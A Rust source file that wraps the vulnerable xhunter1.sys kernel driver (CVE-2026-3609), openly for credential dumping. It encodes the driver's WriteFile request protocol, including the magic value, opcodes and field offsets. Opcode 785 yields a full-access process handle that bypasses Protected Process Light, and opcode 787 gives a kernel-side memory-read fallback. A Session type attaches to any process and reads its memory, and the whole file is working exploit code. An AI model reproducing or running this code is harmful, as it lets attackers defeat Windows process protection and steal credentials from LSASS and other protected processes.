//! xhunter1.sys driver wrapper — CVE-2026-3609.
//!
//! The driver does not use `DeviceIoControl`. Commands are sent through
//! `WriteFile` (`IRP_MJ_WRITE`) using a fixed 624-byte request buffer.
//! The dispatch entry validates length + a magic value packed into the
//! first eight bytes, then routes on an opcode at `+0x0C`.
//!
//! Two opcodes are relevant for credential dumping:
//!
//!   * **785 (`0x311`) — PPL-bypassing process handle.**
//!     Calls `ObOpenObjectByPointer` with `AccessMode = KernelMode` and
//!     `HandleAttributes = 0` (no `OBJ_KERNEL_HANDLE`), placing a full-access
//!     handle into the caller's handle table.
//!   * **787 (`0x313`) — cross-process memory read.**
//!     `KeStackAttachProcess` + `memcpy`. Used as a fallback when
//!     `ReadProcessMemory` against the kernel-minted handle fails.

#![allow(non_snake_case, non_camel_case_types)]

use std::ffi::c_void;

use windows::Win32::{
    Foundation::{CloseHandle, GENERIC_WRITE, HANDLE},
    Storage::FileSystem::{
        CreateFileA, WriteFile, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_MODE, OPEN_EXISTING,
    },
    System::Diagnostics::Debug::ReadProcessMemory,
};

pub type Result<T> = std::result::Result<T, String>;

// ─── Protocol constants ─────────────────────────────────────────────────────

/// Default device name. The driver's service name varies per host —
/// pass an override to `Xhunter::open_named` if `\\.\xhunter` doesn't exist.
pub const DEFAULT_DEVICE: &str = "\\\\.\\xhunter";

const XHUNTER_MAGIC:    u32   = 0x345821AB;
const XHUNTER_LENGTH:   u32   = 0x270;          // request size, must equal CMD_BUF_SIZE
const RESPONSE_LENGTH:  usize = 762;            // driver writes exactly 0x2FA bytes
const CMD_BUF_SIZE:     usize = 0x270;

const CMD_OPEN_PROCESS: u32 = 785;              // 0x311 — PPL-bypassing handle
const CMD_READ_MEMORY:  u32 = 787;              // 0x313 — KeStackAttachProcess + memcpy

const PROCESS_ALL_ACCESS: u32 = 0x1FFFFF;

// Request buffer field offsets (see writeup).
const REQ_OFF_LENGTH:   usize = 0x00;
const REQ_OFF_MAGIC:    usize = 0x04;
const REQ_OFF_XOR_KEY:  usize = 0x08;
const REQ_OFF_OPCODE:   usize = 0x0C;
const REQ_OFF_RESP_PTR: usize = 0x10;
const REQ_OFF_ARG0:     usize = 0x18;
const REQ_OFF_ARG1:     usize = 0x1C;
const REQ_OFF_ARG2:     usize = 0x20;
const REQ_OFF_ARG3:     usize = 0x28;
const REQ_OFF_ARG4:     usize = 0x30;

// Response buffer field offsets.
const RESP_OFF_STATUS:  usize = 0x0C;
const RESP_OFF_HANDLE:  usize = 0x10;

// ─── Trait: anything we can read process memory from ───────────────────────

pub trait MemReader {
    /// Best-effort read. Returns `true` on full success, `false` otherwise.
    fn read(&self, addr: u64, buf: &mut [u8]) -> bool;

    fn read_u32(&self, addr: u64) -> u32 {
        let mut b = [0u8; 4];
        if self.read(addr, &mut b) { u32::from_le_bytes(b) } else { 0 }
    }

    fn read_u64(&self, addr: u64) -> u64 {
        let mut b = [0u8; 8];
        if self.read(addr, &mut b) { u64::from_le_bytes(b) } else { 0 }
    }

    fn read_bytes(&self, addr: u64, n: usize) -> Vec<u8> {
        let mut v = vec![0u8; n];
        if !self.read(addr, &mut v) {
            // partial reads still useful for opportunistic walks; caller checks
        }
        v
    }

    /// Read a `UNICODE_STRING` from `va` and return its decoded contents.
    /// Returns an empty string on any error or for sentinel/zero entries.
    fn read_unicode_string(&self, va: u64) -> String {
        let hdr = self.read_bytes(va, 16);
        if hdr.len() < 16 { return String::new(); }
        let length = u16::from_le_bytes([hdr[0], hdr[1]]) as usize;
        if length == 0 || length > 512 { return String::new(); }
        let buf_va = u64::from_le_bytes(hdr[8..16].try_into().unwrap());
        if buf_va == 0 { return String::new(); }
        let raw = self.read_bytes(buf_va, length);
        let utf16: Vec<u16> = raw
            .chunks_exact(2)
            .map(|c| u16::from_le_bytes([c[0], c[1]]))
            .take_while(|&c| c != 0)
            .collect();
        String::from_utf16_lossy(&utf16)
    }
}

// ─── Raw driver handle ─────────────────────────────────────────────────────

pub struct Xhunter {
    device: HANDLE,
}

impl Xhunter {
    pub fn open() -> Result<Self> { Self::open_named(DEFAULT_DEVICE) }

    pub fn open_named(path: &str) -> Result<Self> {
        let cstr = std::ffi::CString::new(path)
            .map_err(|_| "device path contains NUL".to_string())?;
        let h = unsafe {
            CreateFileA(
                windows::core::PCSTR(cstr.as_ptr() as _),
                GENERIC_WRITE.0,
                FILE_SHARE_MODE(0),
                None,
                OPEN_EXISTING,
                FILE_ATTRIBUTE_NORMAL,
                None,
            )
        }
        .map_err(|e| format!("CreateFileA({path}): {e}"))?;
        Ok(Self { device: h })
    }

    /// Send one command, return `(NTSTATUS, response_buffer)`.
    fn send_cmd(&self, opcode: u32, fill: impl FnOnce(&mut [u8])) -> Result<(i32, Vec<u8>)> {
        let mut req  = [0u8; CMD_BUF_SIZE];
        let mut resp = vec![0u8; RESPONSE_LENGTH];

        // Stamp the fixed header. The dispatch entry validates length+magic as
        // a single QWORD compare, so both must be correct.
        unsafe {
            let p = req.as_mut_ptr();
            *(p.add(REQ_OFF_LENGTH)   as *mut u32) = XHUNTER_LENGTH;
            *(p.add(REQ_OFF_MAGIC)    as *mut u32) = XHUNTER_MAGIC;
            *(p.add(REQ_OFF_XOR_KEY)  as *mut u32) = 0x41414141;
            *(p.add(REQ_OFF_OPCODE)   as *mut u32) = opcode;
            *(p.add(REQ_OFF_RESP_PTR) as *mut u64) = resp.as_mut_ptr() as u64;
        }

        fill(&mut req);

        let mut written = 0u32;
        unsafe {
            WriteFile(self.device, Some(&req), Some(&mut written), None)
                .map_err(|e| format!("WriteFile (opcode {opcode}): {e}"))?;
        }

        let status = unsafe { *(resp.as_ptr().add(RESP_OFF_STATUS) as *const i32) };
        Ok((status, resp))
    }

    /// Opcode 785: obtain a kernel-minted `PROCESS_ALL_ACCESS` handle.
    /// Bypasses PPL via `ObOpenObjectByPointer(AccessMode = KernelMode)`.
    pub fn open_process(&self, pid: u32) -> Result<HANDLE> {
        let (status, resp) = self.send_cmd(CMD_OPEN_PROCESS, |req| unsafe {
            *(req.as_mut_ptr().add(REQ_OFF_ARG0) as *mut u32) = pid;
            *(req.as_mut_ptr().add(REQ_OFF_ARG1) as *mut u32) = PROCESS_ALL_ACCESS;
        })?;
        if status < 0 {
            return Err(format!("cmd 785 (open_process) NTSTATUS 0x{:08X}", status as u32));
        }
        let raw = unsafe { *(resp.as_ptr().add(RESP_OFF_HANDLE) as *const u64) };
        if raw == 0 { return Err("driver returned NULL handle".into()); }
        Ok(HANDLE(raw as *mut c_void))
    }

    /// Opcode 787 fallback: cross-process memory read via `KeStackAttachProcess`.
    fn driver_read(&self, target_handle: HANDLE, src: u64, buf: &mut [u8]) -> bool {
        if buf.is_empty() { return true; }
        match self.send_cmd(CMD_READ_MEMORY, |req| unsafe {
            *(req.as_mut_ptr().add(REQ_OFF_ARG0) as *mut u64) = target_handle.0 as u64;
            *(req.as_mut_ptr().add(REQ_OFF_ARG2) as *mut u64) = src;
            *(req.as_mut_ptr().add(REQ_OFF_ARG3) as *mut u64) = buf.as_mut_ptr() as u64;
            *(req.as_mut_ptr().add(REQ_OFF_ARG4) as *mut u32) = buf.len() as u32;
        }) {
            Ok((status, _)) => status >= 0,
            Err(_) => false,
        }
    }
}

impl Drop for Xhunter {
    fn drop(&mut self) {
        unsafe { let _ = CloseHandle(self.device); }
    }
}

// ─── Session: driver + an acquired target process handle ──────────────────

/// A `Session` is the combination of the driver handle and a target
/// process handle obtained via command 785. It also remembers whether
/// `ReadProcessMemory` against the kernel-minted handle works, so reads
/// fall back to opcode 787 transparently when the handle path is blocked.
pub struct Session<'d> {
    driver:  &'d Xhunter,
    target:  HANDLE,
    use_rpm: bool,
}

impl<'d> Session<'d> {
    /// Attach to `pid` by obtaining a PPL-bypassing handle. Probes the
    /// handle with a small `ReadProcessMemory` against `KUSER_SHARED_DATA`
    /// to decide whether to use RPM or the driver-side read fallback.
    pub fn attach(driver: &'d Xhunter, pid: u32) -> Result<Self> {
        let target = driver.open_process(pid)?;
        let mut probe = [0u8; 8];
        let rpm_ok = unsafe {
            ReadProcessMemory(
                target,
                0x7FFE_0000 as *const c_void,
                probe.as_mut_ptr() as *mut c_void,
                8,
                None,
            ).is_ok()
        };
        let _ = pid; // pid is only needed up-front; we don't retain it
        Ok(Self { driver, target, use_rpm: rpm_ok })
    }

    pub fn handle(&self) -> HANDLE { self.target }
    pub fn uses_rpm(&self) -> bool { self.use_rpm }
}

impl MemReader for Session<'_> {
    fn read(&self, addr: u64, buf: &mut [u8]) -> bool {
        if buf.is_empty() { return true; }
        if addr == 0 { return false; }
        if self.use_rpm {
            unsafe {
                ReadProcessMemory(
                    self.target,
                    addr as *const c_void,
                    buf.as_mut_ptr() as *mut c_void,
                    buf.len(),
                    None,
                ).is_ok()
            }
        } else {
            self.driver.driver_read(self.target, addr, buf)
        }
    }
}

impl Drop for Session<'_> {
    fn drop(&mut self) {
        if !self.target.is_invalid() && !self.target.0.is_null() {
            unsafe { let _ = CloseHandle(self.target); }
        }
    }
}